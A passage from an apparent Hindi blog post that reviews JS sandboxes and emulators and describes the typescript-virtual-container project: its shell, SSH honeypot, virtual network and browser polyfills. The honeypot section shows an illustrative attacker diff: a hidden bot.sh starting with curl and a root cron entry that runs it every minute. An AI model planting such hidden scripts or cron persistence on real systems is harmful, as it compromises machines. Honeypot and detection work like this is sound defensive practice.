"fs" स्थिरता मोड में, यह क्रैश रिकवरी के लिए राइट-अहेड लॉग (WAL) बनाए रखता है -- लेखन पहले लॉग में जाता है, फिर फ्लश पर स्नैपशॉट में। यदि Node किसी ऑपरेशन के बीच में क्रैश होता है, तो लॉग तुम्हें अंतिम पूर्ण स्थिति का पुनर्निर्माण करने देता है।

एक FileCache परत भी है जो डिस्क I/O विलंब का अनुकरण करती है। तुम NVME_DISK_IO या HDD_DISK_IO जैसे प्रोफाइल कॉन्फ़िगर करते हो और VFS यथार्थवादी समय से मेल खाने के लिए जानबूझकर फ़ाइल संचालन में देरी करता है। जो काफी मजेदार है -- एक सॉफ़्टवेयर जो हार्डवेयर का अनुकरण करने के लिए जानबूझकर खुद को धीमा करता है -- लेकिन वास्तव में बेंचमार्किंग के लिए बहुत उपयोगी है।

शेल इंटरप्रेटर

शेल पार्सर एक टाइप किया गया AST उत्पन्न करता है:

// "ls /etc | grep root && echo done" इस प्रकार पार्स होता है:
{
  type: "statement",
  pipeline: [
    { name: "ls", args: ["/etc"], redirects: [] },
    { name: "grep", args: ["root"], redirects: [] }
  ],
  next: {
    op: "&&",
    statement: {
      type: "statement",
      pipeline: [{ name: "echo", args: ["done"], redirects: [] }],
      next: null
    }
  }
}

निष्पादक इस AST को ट्रैवर्स करता है:

  • पाइपलाइन के लिए, यह { stdin, stdout, stderr } स्ट्रीम की एक श्रृंखला बनाता है और प्रत्येक कमांड को पाइप्ड I/O के साथ निष्पादित करता है
  • लॉजिकल ऑपरेटरों (&&, ||) के लिए, यह दाएँ पक्ष को निष्पादित करने से पहले बाएँ पक्ष के बाद $? की जाँच करता है
  • सबशेल के लिए ($(...), ` `), यह निष्पादन संदर्भ को फोर्क करता है
  • रीडायरेक्शन के लिए (>फ़ाइल, >>फ़ाइल, 2>&1, <फ़ाइल), यह निष्पादन से पहले स्ट्रीम वायरिंग सेट करता है
  • बैकग्राउंड जॉब के लिए (cmd &), यह समाप्ति की प्रतीक्षा किए बिना निष्पादित होता है
  • वेरिएबल के लिए, यह $VAR, ${VAR:-default}, ${#VAR}, और अंकगणित $((expr)) का विस्तार करता है
  • ब्रेस विस्तार के लिए ({a,b,c}, {1..5}), यह निष्पादित करने से पहले पूर्ण विस्तार सूची उत्पन्न करता है

यह सब वास्तविक POSIX शेल व्यवहार है। पार्सर heredocs, प्रक्रिया प्रतिस्थापन, ग्लोबिंग (*, ?, [abc]), और उद्धरण प्रबंधन (एकल उद्धरण, इंटरपोलेशन के साथ दोहरे उद्धरण, बैकस्लैश एस्केपिंग) को संभालता है। यह सही नहीं है -- किनारे के मामले मौजूद हैं -- लेकिन यह एक TypeScript प्रोजेक्ट से अपेक्षा से कहीं अधिक है।

~170 अंतर्निहित कमांड

कमांड कमांड रजिस्ट्री में पंजीकृत TypeScript फ़ंक्शन हैं। उन्हें stdin/stdout/stderr स्ट्रीम, VFS, उपयोगकर्ता सत्र, शेल वातावरण और उप-मॉड्यूल तक पहुँच के साथ एक CommandContext प्राप्त होता है।

170 Unix कमांड कार्यान्वयन लिखना... बहुत है। कुछ तुच्छ हैं (echo, true, false), कुछ आश्चर्यजनक रूप से जटिल हैं (awk, find, tar)। जैसे, एक पूर्ण POSIX awk? TypeScript में? यह ईमानदारी से पागलपन है। यहाँ इसके अंदर क्या है इसका एक नमूना है:

cat, ls, cp, mv, rm, mkdir, rmdir, touch, chmod, chown, chgrp,
ln, readlink, find, locate, stat, file,
echo, printf, read, test, [, [[,
grep, sed, awk, cut, sort, uniq, wc, head, tail, tr,
ps, top, kill, pkill, nice, ionice,
ssh, scp, sftp (क्लाइंट साइड, आउटगोइंग कनेक्शन),
ping, curl, wget, nc, netstat, ss, ip, ifconfig, route,
apt, apt-get, apt-cache, dpkg, pacman,
useradd, usermod, userdel, groupadd, passwd, su, sudo,
tar, gzip, gunzip, bzip2, bunzip2, xz, unxz, zip, unzip,
git (स्टब), python3 (स्टब), node (स्टब),
nano (पूर्ण इंटरैक्टिव संपादक), vim (बुनियादी), vi (बुनियादी),
neofetch, htop, tree, df, du, free, uptime, who, w, last,
cron (सिम्युलेटेड), systemctl (स्टब), journalctl (स्टब),
...और लगभग 130 अन्य

"स्टब्स" (git, python3, node) सामान्य आह्वानों पर यथार्थवादी प्रतिक्रिया देते हैं -- python3 --version एक विश्वसनीय संस्करण स्ट्रिंग लौटाता है, git status एक नकली रिपॉजिटरी स्थिति दिखाता है -- बिना कोई वास्तविक काम किए। हनीपॉट के लिए, ये वास्तविक कमांड से अधिक उपयोगी हैं, क्योंकि ये तुम्हें यह देखने देते हैं कि हमलावर क्या निष्पादित करने की कोशिश कर रहे हैं बिना कुछ खतरनाक निष्पादित किए।

SSH सर्वर

SSH लेयर वास्तविक npm पैकेज ssh2 का उपयोग करती है -- वास्तविक SSH प्रोटोकॉल, वास्तविक कुंजी विनिमय, वास्तविक एन्क्रिप्शन। SSHMimic इसे लपेटता है:

import { VirtualSshServer } from "typescript-virtual-container";

const ssh = new VirtualSshServer({
  port: 2222,
  hostname: "prod-server-01",
  shellProperties: {
    kernel: "5.15.0-91-generic #101-Ubuntu SMP",
    os: "Ubuntu 22.04.3 LTS",
    arch: "x86_64",
  },
});
await ssh.start();
// वास्तविक SSH: ssh -p 2222 root@localhost
// वास्तविक SFTP: sftp -P 2222 root@localhost
// वास्तविक SCP: scp -P 2222 file root@localhost:/tmp/

shellProperties निर्धारित करते हैं कि uname -a, lsb_release -a, neofetch, /proc/version, और /etc/os-release क्या रिपोर्ट करते हैं। तुम किसी भी लिनक्स वितरण और कर्नेल संस्करण को विश्वसनीय रूप से नकली बना सकते हो -- एक वास्तविक SSH क्लाइंट के लिए, सचमुच अंतर बताने का कोई तरीका नहीं है।

HoneyPot मॉड्यूल

क्योंकि शेल इंटरप्रेटर वास्तविक है और SSH सर्वर वास्तविक है, हमलावरों के कमांड वास्तव में वर्चुअल वातावरण में निष्पादित होते हैं। हमलावर द्वारा ट्रिगर किए गए wget अनुरोध गंतव्य URL के साथ लॉग किए जाते हैं। हमलावर द्वारा बनाई गई फ़ाइलें VFS में सहेजी जाती हैं। हमलावर के विशेषाधिकार वृद्धि के प्रयास यथार्थवादी त्रुटियाँ उत्पन्न करते हैं।

import { VirtualSshServer, HoneyPot, diffSnapshots } from "typescript-virtual-container";

const pot = new HoneyPot({
  onCommand: (session, cmd) => threatIntel.record({ cmd, ip: session.remoteAddress }),
  onDownload: (session, url) => malwareAnalysis.queue(url),
  onAuthentication: (username, password, accepted) => credHarvest.log({ username, password }),
});

const ssh = new VirtualSshServer({ port: 22, honeypot: pot });
await ssh.start();

// एक सत्र के बाद, फ़ाइल सिस्टम को डिफ करना
const before = shell.vfs.toSnapshot();
// ... हमलावर का सत्र ...
const after = shell.vfs.toSnapshot();
const diff = diffSnapshots(before, after);
/*
  diff = [
    { op: "create", path: "/tmp/.hidden/bot.sh", content: "#!/bin/bash\ncurl..." },
    { op: "chmod", path: "/tmp/.hidden/bot.sh", from: 0o644, to: 0o755 },
    { op: "create", path: "/var/spool/cron/root", content: "* * * * * /tmp/.hidden/bot.sh" }
  ]
*/

यह Cowrie से गुणात्मक रूप से अलग है। Cowrie का नकली फ़ाइल सिस्टम ls का जवाब दे सकता है लेकिन वास्तव में हमलावर द्वारा बनाई गई फ़ाइलों और संरचित डिफ के रूप में किए गए संशोधनों को ट्रैक नहीं कर सकता। typescript-virtual-container कर सकता है, क्योंकि VFS एक जीवित डेटा संरचना है -- प्रत्येक लेखन ट्रैक किया जाता है। वह cron एंट्री जो हमलावर ने अभी जोड़ी? यह डिफ में है। वह .hidden फ़ोल्डर? डिफ में। मैलवेयर विश्लेषण के लिए काफी उपयोगी।

वर्चुअल नेटवर्क स्टैक

यह शायद पूरे प्रोजेक्ट का सबसे प्रभावशाली हिस्सा है, और इस स्थान के किसी भी अन्य प्रोजेक्ट में इसका कोई समकक्ष नहीं है। जैसे, VPN समर्थन के साथ एक पूर्ण L2/L3 वर्चुअल नेटवर्क स्टैक, शुद्ध TypeScript में लिखा गया, बिना किसी वास्तविक नेटवर्क कार्ड के। यह वास्तव में पागलपन है।

VirtualNetworkManager प्रत्येक VirtualShell इंस्टेंस को कॉन्फ़िगरेबल IP पतों, रूटिंग टेबल और सॉफ़्टवेयर फ़ायरवॉल (conntrack और NAT के साथ iptables-शैली नियम) के साथ वर्चुअल नेटवर्क इंटरफ़ेस देता है। ip addr, ip route, iptables -L, netstat -rn सभी वर्चुअल नेटवर्क की स्थिति दिखाते हैं।

VirtualSwitch (नाम Baie -- फ्रांसीसी शब्द "baie informatique" से, जिसका अर्थ है सर्वर रैक) एक साझा सबनेट पर कई शेल को जोड़ता है। यह लागू करता है:

  • MAC लर्निंग और ARP
  • सबनेट के बीच IP रूटिंग
  • NAT (आउटगोइंग मास्क्वेरेड)
  • DNS (प्रति-सबनेट कॉन्फ़िगरेबल रिकॉर्ड)
  • लोड बैलेंसिंग (राउंड-रॉबिन, कम से कम कनेक्शन)
  • ट्रैफ़िक शेपिंग: विलंब, जिटर (गाऊसी वितरण), पैकेट हानि, बर्स्ट हानि, पुनर्क्रमण, डुप्लिकेशन
  • बैंडविड्थ सीमित (टोकन बकेट)
  • MTU अनुप्रयोग
  • कनेक्शन ट्रैकिंग (स्टेटफुल, NEW/ESTABLISHED/TIME_WAIT अवस्थाओं के साथ)
const baie = new Baie("192.168.0.0/24");

// एक ही स्विच पर तीन वर्चुअल मशीनें
const web = new VirtualShell("web");
const api = new VirtualShell("api");
const db  = new VirtualShell("db");

baie.attach(web, "192.168.0.2");
baie.attach(api, "192.168.0.3");
baie.attach(db,  "192.168.0.4");

// फ़ायरवॉल: web api तक पहुँच सकता है, api db तक पहुँच सकता है, web सीधे db तक नहीं पहुँच सकता
baie.addFirewallRule({ src: "192.168.0.2", dst: "192.168.0.4", proto: "tcp", action: "DROP" });

// ट्रैफ़िक शेपिंग: बाहर की ओर एक अस्थिर WAN लिंक का अनुकरण
baie.setInterface("192.168.0.2", { latencyMs: 50, jitterMs: 10, packetLoss: 0.001 });

VirtualVpn Baie इंस्टेंस के बीच एन्क्रिप्टेड टनल बनाता है -- तुम साइटों के बीच VPN इंटरकनेक्शन के साथ मल्टी-साइट नेटवर्क का अनुकरण कर सकते हो।

VirtualProxy पोर्ट फ़ॉरवर्डिंग और SOCKS5 प्रॉक्सी लागू करता है।

इनमें से कोई भी वास्तविक नेटवर्क कार्ड को स्पर्श नहीं करता। यह सब TypeScript ऑब्जेक्ट रूटिंग है। ping कमांड "काम करता है" वर्चुअल स्विच के माध्यम से रूट करके और सिम्युलेटेड ICMP प्रतिक्रियाएँ लौटाकर। curl http://192.168.0.3/api वर्चुअल नेटवर्क के माध्यम से रूट करता है, api शेल के सिम्युलेटेड HTTP प्रतिक्रिया तक पहुँचता है, और सामग्री लौटाता है। यह सबसे अच्छे अर्थों में नीचे तक कछुए हैं।

SandboxedShell

प्रोग्रामेटिक उपयोग के लिए जहाँ तुम्हें मजबूत आइसोलेशन की आवश्यकता है, SandboxedShell एक Node.js Worker थ्रेड में एक शेल सत्र निष्पादित करता है:

import { SandboxedShell } from "typescript-virtual-container";

const shell = new SandboxedShell({
  memoryMB: 128,
  cpuQuota: 0.25, // एक कोर का 25%
  timeoutMs: 5000,
});

const result = await shell.exec("ls /etc | grep -c .");
console.log(result.stdout); // "42\n"
console.log(result.exitCode); // 0

यहाँ आइसोलेशन VFS लेयर (वर्कर थ्रेड शेल केवल वर्चुअल फ़ाइल सिस्टम देख सकता है, कभी होस्ट फ़ाइल सिस्टम नहीं) और Node.js Worker थ्रेड मेमोरी आइसोलेशन द्वारा प्रदान किया गया है। यह isolated-vm से हल्का है लेकिन JS-स्तर के बजाय शेल-स्तरीय आइसोलेशन के लिए अधिक उपयुक्त है।

संसाधन सीमांकन

तुम प्रति-शेल संसाधन सीमाएँ कॉन्फ़िगर कर सकते हो जो प्रभावित करती हैं कि सिस्टम मॉनिटरिंग कमांड क्या रिपोर्ट करते हैं:

const shell = new VirtualShell("limited-vm", {}, {}, {
  maxRamMB: 512,
  maxCpuCores: 2,
});

इस शेल के अंदर, free -m कुल 512 MB RAM दिखाता है। nproc 2 लौटाता है। /proc/meminfo सीमित मान दिखाता है। htop और top सीमित CPU संख्या दिखाते हैं। यह तुम्हें सिम्युलेटेड मशीन के हार्डवेयर फ़ुटप्रिंट को ठीक से परिभाषित करने देता है।

तीन परिनियोजन मोड

मोड 1: SSH/SFTP सर्वर
  VirtualSshServer / VirtualSftpServer
  → वास्तविक SSH प्रोटोकॉल, वास्तविक SFTP, वास्तविक SCP
  → उपयोग के मामले: हनीपॉट, दूरस्थ परीक्षण वातावरण, प्रशिक्षण प्रयोगशालाएँ

मोड 2: वेब शेल (ब्राउज़र)
  builds/fortune-nyx-v1.7.8-web.min.js (ESM बंडल)
  → ब्राउज़र में चलता है, VFS IndexedDB में स्थायी
  → उपयोग के मामले: इंटरैक्टिव ट्यूटोरियल, एम्बेडेड टर्मिनल, डेमो
  → बोनस: पूर्ण सिम्युलेटेड XFCE डेस्कटॉप के लिए startxfce4 चलाता है

मोड 3: स्टैंडअलोन CLI
  builds/fortune-nyx-v1.7.8-directbash-k6.1.0.mjs (एकल फ़ाइल, कोई स्थापना नहीं)
  → curl और निष्पादित करें, VFS को .vfs/ निर्देशिका में स्थायी करें
  → उपयोग के मामले: त्वरित डेमो, स्थानीय प्रयोग

पॉलीफिल -- बिना Wasm के ब्राउज़र बिल्ड कैसे काम करता है

ठीक है यह वह हिस्सा है जिसे मैं वास्तव में स्मार्ट समझता हूँ और विशेष रूप से उजागर करना चाहता था।

Node.js लाइब्रेरी को ब्राउज़र में काम करना आमतौर पर एक बुरा सपना है। या तो तुम Wasm रनटाइम (भारी, लोड होने में धीमा) का उपयोग करते हो, या तुम हर node:* आयात को ब्राउज़र-संगत विकल्प से मैन्युअल रूप से बदलने में सप्ताह बिताते हो। Fortune ने दूसरा काम किया -- लेकिन बहुत साफ-सुथरे ढंग से, रिपॉजिटरी की polyfills/ निर्देशिका में रहने वाले कस्टम पॉलीफिल का एक सेट लिखकर।

बिल्ड पाइपलाइन सिर्फ esbuild है जिसमें बहुत सारे alias एंट्री हैं:

// demo/build.js -- संपूर्ण ब्राउज़र बिल्ड कॉन्फ़िग
esbuild.build({
  entryPoints: ['app.ts'],
  bundle: true,
  platform: 'browser',
  alias: {
    'node:events':         '../polyfills/node_events/index.js',
    'node:path':           '../polyfills/node_path/index.js',
    'node:os':             '../polyfills/node_os/index.js',
    'node:fs':             '../polyfills/node_fs/index.js',
    'node:fs/promises':    '../polyfills/node_fs/promises.js',
    'node:crypto':         '../polyfills/node_crypto/index.js',
    'node:child_process':  '../polyfills/node_child_process/index.js',
    'node:zlib':           '../polyfills/node_zlib/index.js',
    'node:vm':             '../polyfills/node_vm/index.js',
    'node:net':            '../polyfills/node_net/index.js',
    'node:url':            '../polyfills/node_url/index.js',
    'node:worker_threads': '../polyfills/node_worker_threads/index.js',
    'ssh2':                '../polyfills/ssh2/index.js',
    'roxify':              '../polyfills/roxify.js',
  },
  inject: ['../polyfills/process.js', '../polyfills/buffer.js'],
  minify: true,
  treeShaking: true,
});

कोई Wasm नहीं। कोई बाहरी पॉलीफिल लाइब्रेरी नहीं। कोई webpack-node-externals चाल नहीं। बस उपनामित मॉड्यूल और कुछ इंजेक्टेड ग्लोबल। मुझे प्रत्येक का विवरण दें क्योंकि कुछ वास्तव में प्रभावशाली हैं।

node:fs -- नकली फ़ाइल सिस्टम के रूप में IndexedDB

यह मेरा पसंदीदा है। node:fs पॉलीफिल Node.js fs सिंक्रोनस API (readFileSync, writeFileSync, existsSync, readdirSync, mkdirSync, unlinkSync, statSync...) को दो परतों द्वारा समर्थित लागू करता है: सिंक्रोनस रीड के लिए मेमोरी में एक Map, और पेज रीलोड के बीच स्थिरता के लिए IndexedDB। लेखन तुरंत Map में जाता है (इसलिए writeFileSync के ठीक बाद readFileSync हमेशा काम करता है), फिर बैकग्राउंड में एसिंक्रोनस रूप से IndexedDB में फ्लश किया जाता है।

// सिंक्रोनस कैश (पथ → Uint8Array | null) -- तत्काल रीड
const memCache = new Map();

// स्टार्टअप पर IndexedDB से सब कुछ memCache में प्रीलोड करें
openDB().then(db => {
  const tx = db.transaction(STORE, 'readonly');
  const req = tx.objectStore(STORE).openCursor();
  req.onsuccess = e => {
    const cursor = e.target.result;
    if (!cursor) return;
    memCache.set(cursor.key, cursor.value);
    cursor.continue();
  };
});

यही कारण है कि VFS स्नैपशॉट ब्राउज़र में पेज रीलोड से बचता है -- पूरा .vfsb बाइनरी इस पॉलीफिल के माध्यम से IndexedDB में लिखा जाता है, और अगले लोड पर वापस पढ़ा जाता है। कोई Wasm नहीं। कोई सर्वर नहीं। बस IndexedDB, जो लगभग 2011 से हर ब्राउज़र में है।

node:crypto -- शुद्ध JS में SHA-256

Wasm क्रिप्टो लाइब्रेरी आयात करने के बजाय, क्रिप्टो पॉलीफिल FIPS 180-4 राउंड कॉन्स्टेंट का उपयोग करके खरोंच से SHA-256 लागू करता है। पूर्ण hex/base64/Uint8Array आउटपुट समर्थन के साथ शुद्ध JS की 166 लाइनें। लाइब्रेरी में सभी हैशिंग इसके माध्यम से जाती है -- SSH होस्ट कुंजी फ़िंगरप्रिंट, आंतरिक चेकसम, सब कुछ। कॉम्पैक्ट, शून्य निर्भरता, यह काम करता है।

node:os -- वास्तविक ब्राउज़र हार्डवेयर पढ़ता है

यह एक अच्छा स्पर्श है। हार्ड-कोडेड नकली मान लौटाने के बजाय, node:os कुल RAM के लिए navigator.deviceMemory और CPU संख्या के लिए navigator.hardwareConcurrency पढ़ता है। इसलिए ब्राउज़र बिल्ड में neofetch वास्तव में कुछ ऐसा रिपोर्ट करता है जो तुम्हारी वास्तविक मशीन से मेल खाता है -- नकली 2 कोर, 2 GB RAM स्टब नहीं।

export function totalmem(){
  return navigator?.deviceMemory
    ? navigator.deviceMemory * 1024 * 1024 * 1024
    : 2 * 1024 * 1024 * 1024; // 2 GB डिफ़ॉल्ट
}
export function cpus(){
  const n = navigator?.hardwareConcurrency || 2;
  // CPU मॉडल स्ट्रिंग का अनुमान लगाने के लिए navigator.userAgent का भी विश्लेषण करता है
  return Array.from({ length: n }, () => ({ model, speed: 2400 }));
}

node:net, ssh2, roxify -- ईमानदार स्टब्स

ब्राउज़र TCP सॉकेट नहीं खोल सकता या वास्तविक SSH नहीं चला सकता, इसलिए ये स्टब्स हैं जो NotImplemented त्रुटि फेंकते हैं यदि कोई चीज़ उनका उपयोग करने की कोशिश करती है। कोई मौन विफलता नहीं, कोई undefined नहीं लौटाया जहाँ ऑब्जेक्ट की अपेक्षा है। बस एक जोरदार, स्पष्ट संदेश "यह ब्राउज़र में काम नहीं करता" -- जो ठीक वही है जो तुम चाहते हो।

process.js और buffer.js -- इंजेक्टेड ग्लोबल्स

ये दोनों esbuild के inject विकल्प के माध्यम से बंडल की हर फ़ाइल के शीर्ष पर इंजेक्ट किए जाते हैं, इसलिए process और Buffer बिना किसी स्पष्ट आयात के वैश्विक रूप से उपलब्ध हैं। process.js छोटा है: env, version, platform: 'browser', queueMicrotask के माध्यम से nextTick, performance.now() के माध्यम से uptime। buffer.js Uint8Array के ऊपर Buffer का पूर्ण पुनर्कार्यान्वयन है -- सभी readUInt32BE, writeInt16LE, hex/base64 एन्कोडिंग जिन पर SSH कार्यान्वयन और VFS निर्भर करते हैं।


संपूर्ण पॉलीफिल सेट कुल मिलाकर हाथ से लिखे JS के लगभग 640 लाइनें है। कोई npm पैकेज नहीं। कोई Wasm नहीं। और परिणाम एक ब्राउज़र बंडल है जो सिर्फ लाइब्रेरी है, मूल रूप से चल रही है, बिना किसी सामान्य "लेकिन क्या यह वास्तव में ब्राउज़र में काम करता है?" चिंता के जो Node के लिए डिज़ाइन की गई लाइब्रेरीज़ के साथ होती है। यदि तुम उत्सुक हो तो रिपॉजिटरी में polyfills/ फ़ोल्डर पर एक नज़र डालने लायक है -- प्रत्येक फ़ाइल अच्छी तरह से निहित और स्वयं-पठनीय है, जो एक शैलीगत विकल्प है जिसे मैं बहुत सराहता हूँ।

vm isolated-vm quickjs-emscripten v86 CheerpX WebContainers Cowrie typescript-virtual-container
श्रेणी JS सैंडबॉक्स JS सैंडबॉक्स JS सैंडबॉक्स एमुलेटर एमुलेटर Node.js/Wasm हनीपॉट सिमुलेटर
JS को अलग करता है ⚠️ स्कोप ✅ V8 Isolate ✅ Wasm n/a n/a आंशिक n/a ✅ Worker
वास्तविक लिनक्स कर्नेल ❌ ❌ ❌ ✅ ✅ ❌ ❌ ❌
शेल इंटरप्रेटर ❌ ❌ ❌ ✅ (वास्तविक) ✅ (वास्तविक) ✅ (वास्तविक) आंशिक ✅ (कस्टम)
~170 Unix कमांड ❌ ❌ ❌ ✅ ✅ आंशिक ~20 ✅
POSIX अनुमतियाँ ❌ ❌ ❌ ✅ ✅ ✅ आंशिक ✅ लागू
उपयोगकर्ता प्रबंधन ❌ ❌ ❌ ✅ ✅ ❌ न्यूनतम ✅ पूर्ण
वास्तविक SSH सर्वर ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
SFTP / SCP ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
हनीपॉट/ऑडिट ❌ ❌ ❌ ❌ ❌ ❌ ✅ ✅
डिफ/VFS स्नैपशॉट ❌ ❌ ❌ सीमित ❌ ❌ ❌ ✅
वर्चुअल L2/L3 नेटवर्क ❌ ❌ ❌ बुनियादी ❌ ❌ ❌ ✅ पूर्ण
वर्चुअल VPN ❌ ❌ ❌ ❌ ❌ ❌ ❌ ✅
ब्राउज़र समर्थन ❌ ❌ ✅ ✅ ✅ ✅ ❌ ✅
नेटिव Node.js ✅ ✅ ✅ ✅ ❌ ❌ ❌ ✅
टाइप की गई API बुनियादी ✅ ✅ न्यूनतम ❌ ✅ ❌ ✅ पूर्ण
बाइनरी संगतता n/a n/a n/a ✅ ✅ आंशिक n/a ❌
बूट समय तत्काल तत्काल तत्काल 15-40s 15-40s 2-5s तत्काल <1s
RAM/इंस्टेंस ~1 MB ~3-10 MB ~5-15 MB 150-256 MB 200+ MB ~100 MB ~50 MB ~5-20 MB
रनटाइम निर्भरताएँ 0 1 (नेटिव) 1 (Wasm) 0 मालिकाना 1 Python निर्भरताएँ 3 (ssh2, ws, fflate)
स्थिति स्थिर ✅ सक्रिय ✅ सक्रिय ✅ बहुत सक्रिय वाणिज्यिक ✅ सक्रिय ✅ सक्रिय ✅ सक्रिय

कब क्या उपयोग करें

तुम्हें अविश्वसनीय जावास्क्रिप्ट निष्पादित करनी है -- एक उपयोगकर्ता-सबमिटेड फ़ॉर्मूला, एक प्लगइन, एक स्क्रिप्ट हुक।
→ isolated-vm. वास्तविक V8 Isolate, सख्त मेमोरी सीमाएँ, स्पष्ट संचार पुल। vm2 से बचें -- CVE सूची बस बढ़ती जा रही है, गंभीरता से यह हर कुछ महीनों में एक नया जैसा है। vm से बचें -- यह बिल्कुल भी सैंडबॉक्स नहीं है, कृपया।

तुम्हें JS को अलग करना है और तुम नेटिव एक्सटेंशन नहीं चाहते, या तुम्हें ब्राउज़र संगतता चाहिए।
→ quickjs-emscripten. Wasm सीमा, ~500 KB मॉड्यूल, ब्राउज़र और Node में काम करता है। V8 से धीमा लेकिन वास्तव में पृथक।

तुम्हें एक वास्तविक अपरिवर्तित लिनक्स OS बाइनरी संगतता के साथ बूट करना है।
→ 32-बिट लिनक्स के लिए v86, या यदि तुम्हारे पास मौजूदा Docker इमेज है तो container2wasm। 150 MB+ RAM और 30 सेकंड बूट समय स्वीकार करें, यही सौदा है। यदि तुम्हें 64-बिट चाहिए, तो CheerpX देखो या बस एक वास्तविक कंटेनर रनटाइम का उपयोग करो।

तुम्हें बिना बैकएंड के वेब एप्लिकेशन में लिनक्स-प्रकार टर्मिनल एम्बेड करना है।
→ v86 (पूर्ण OS, भारी, बूट होने में धीमा) या typescript-virtual-container का ब्राउज़र बंडल (सिमुलेटर, हल्का, तत्काल स्टार्ट, इसमें पूर्ण डेस्कटॉप के लिए startxfce4 शामिल है जो काफी अच्छा है)।

तुम्हें इंटरैक्टिव ऑनलाइन कोडिंग ट्यूटोरियल या ब्राउज़र IDE चाहिए।
→ WebContainers यदि तुम Node.js इकोसिस्टम पर केंद्रित हो। CheerpX यदि तुम्हें वास्तविक लिनक्स userspace चाहिए। typescript-virtual-container का ब्राउज़र बंडल यदि तुम टाइप की गई API के साथ हल्का विकल्प चाहते हो।

तुम बड़े पैमाने पर SSH हमलावर TTP एकत्र करना चाहते हो।
→ Cowrie प्रोडक्शन मानक है, पूर्ण विराम। किसी भी लिनक्स सर्वर पर चलता है, सभी SIEM के साथ एकीकृत होता है, अब LLM मोड है। बस Cowrie का उपयोग करो।

तुम्हें प्रोग्रामेबल API के साथ Node.js एप्लिकेशन में SSH हनीपॉट डेटा चाहिए।
→ typescript-virtual-container. कमांड वास्तव में निष्पादित होते हैं। VFS एक वास्तविक डेटा संरचना है जिसे तुम तुरंत स्नैपशॉट और डिफ कर सकते हो। हमलावर को एक विश्वसनीय इंटरैक्टिव वातावरण मिलता है, और तुम्हें Node को छोड़े बिना संरचित ऑडिट डेटा मिलता है।

तुम्हें Docker के बिना CI में शेल ऑटोमेशन / परीक्षण चाहिए।
→ typescript-virtual-container. एक सेकंड से भी कम समय में शुरू होता है, परीक्षण से पहले स्नैपशॉट, बाद में पुनर्स्थापित करता है। टाइप की गई API के साथ शेल कमांड निष्पादित करता है। कोई Docker डेमॉन नहीं, कोई कर्नेल नहीं, कोई VM नहीं, कोई प्रतीक्षा नहीं।

तुम्हें मल्टी-टेनेंट शेल वातावरण चाहिए (SaaS, शिक्षा, प्रशिक्षण)।
→ typescript-virtual-container. 5-20 MB प्रति इंस्टेंस बनाम एमुलेटर के लिए 150-256 MB। 100 समवर्ती उपयोगकर्ता: ~2 GB बनाम ~25 GB। होस्टिंग लागत में यह एक बड़ा अंतर है!

तुम्हें एक यथार्थवादी हनीपॉट चाहिए जो तुम्हें मल्टी-VM नेटवर्क लैब बनाने भी दे।
→ typescript-virtual-container इस स्थान में एकमात्र चीज है जो दोनों करती है।


यह क्या नहीं कर सकता (और मैं इसके बारे में ईमानदार रहना चाहता हूँ)

यह नेटिव x86 बाइनरी नहीं चला सकता। यदि तुम्हें C कोड संकलित करना है, वास्तविक Python इंटरप्रेटर चलाना है, या लिनक्स के लिए संकलित सॉफ़्टवेयर का उपयोग करना है, तो उन सिस्टम कॉल को समर्थन देने के लिए कोई कर्नेल ABI नहीं है। gcc, python3, और node जैसे कमांड स्टब्स हैं -- वे --version और सामान्य आह्वानों का जवाब देते हैं, लेकिन कुछ भी वास्तविक निष्पादित नहीं करते।

यह मूलभूत समझौता है: तुम 10-50 गुना कम मेमोरी, तत्काल स्टार्टअप, ब्राउज़र संगतता, टाइप की गई API, वास्तविक SSH, और वर्चुअल नेटवर्क प्राप्त करते हो -- और तुम लिनक्स userspace के साथ बाइनरी संगतता छोड़ देते हो।

Fortune ने प्रोजेक्ट को डिज़ाइन करते समय इस बारे में बहुत सोचा। जिन उपयोग मामलों को वह लक्षित कर रही थी -- हनीपॉट, परीक्षण, एम्बेडेड टर्मिनल, CI वातावरण -- के लिए संकलित बाइनरी चलाना वास्तव में कभी आवश्यक नहीं है। शेल पाइपलाइन, फ़ाइल हेरफेर, नेटवर्क रूटिंग और SSH सब कुछ कवर करते हैं। लेकिन अगर तुम्हारे उपयोग मामले में वास्तविक संकलित सॉफ़्टवेयर की आवश्यकता है, तो v86 या Docker सही उत्तर है, यह नहीं।


निष्कर्ष

तो यह रहा। यह इकोसिस्टम बाहर से दिखने की तुलना में व्यापक और अधिक खंडित है। vm एक स्कोप सेपरेटर है, सैंडबॉक्स नहीं। vm2 CVE जमा करता रहता है (सच में, इस महीने की सलाह देखो)। isolated-vm JS आइसोलेशन के लिए सही उत्तर है लेकिन केवल JS। quickjs-emscripten सही विकल्प है जब तुम्हें ब्राउज़र संगतता चाहिए या नेटिव एक्सटेंशन से बचना चाहते हो। v86 और CheerpX वास्तविक एमुलेटर हैं जब तुम्हें वास्तविक बाइनरी संगतता चाहिए। WebContainers Wasm में Node.js है, सामान्य-उद्देश्य लिनक्स वातावरण नहीं। Cowrie SSH हनीपॉट का स्वर्ण मानक है, लेकिन यह Python है और नेटिव Node नहीं।

और फिर typescript-virtual-container है -- Fortune का प्रोजेक्ट -- जो अपनी श्रेणी में रहता है। न एमुलेटर, न JS सैंडबॉक्स, न निष्क्रिय हनीपॉट। उन सबके बीच कुछ जो आश्चर्यजनक रूप से कई चीजों के लिए उपयोगी साबित हुआ है जो कोई अन्य नहीं कर सकता।

typescript-virtual-container उस खाई को पाटता है जिसे कोई और नहीं छूता: वास्तविक SSH, SFTP, POSIX अनुमतियों, उपयोगकर्ता प्रबंधन, वर्चुअल नेटवर्क और टाइप की गई TypeScript API के साथ एक पूर्ण, प्रोग्रामेबल लिनक्स शेल वातावरण -- लगभग 10 MB में चलता है, एक सेकंड से भी कम समय में शुरू होता है, Node.js और ब्राउज़र दोनों में काम करता है।

यदि तुम इसे आज़माना चाहते हो: स्रोत कोड github.com/itsrealfortune/typescript-virtual-container पर है और एक ऑनलाइन डेमो है (जिसमें पूर्ण डेस्कटॉप के लिए startxfce4 शामिल है, जो सचमुच कमाल है) itsrealfortune.fr/typescript-virtual-container/demo पर। इसे देखो और Fortune को GitHub पर कुछ स्टार छोड़ दो, वह उनकी हकदार है!

पढ़ने के लिए धन्यवाद -- यह मेरे मानकों के हिसाब से भी लंबा था :) आशा है यह तुम्हारे लिए उपयोगी रहा!


स्रोत

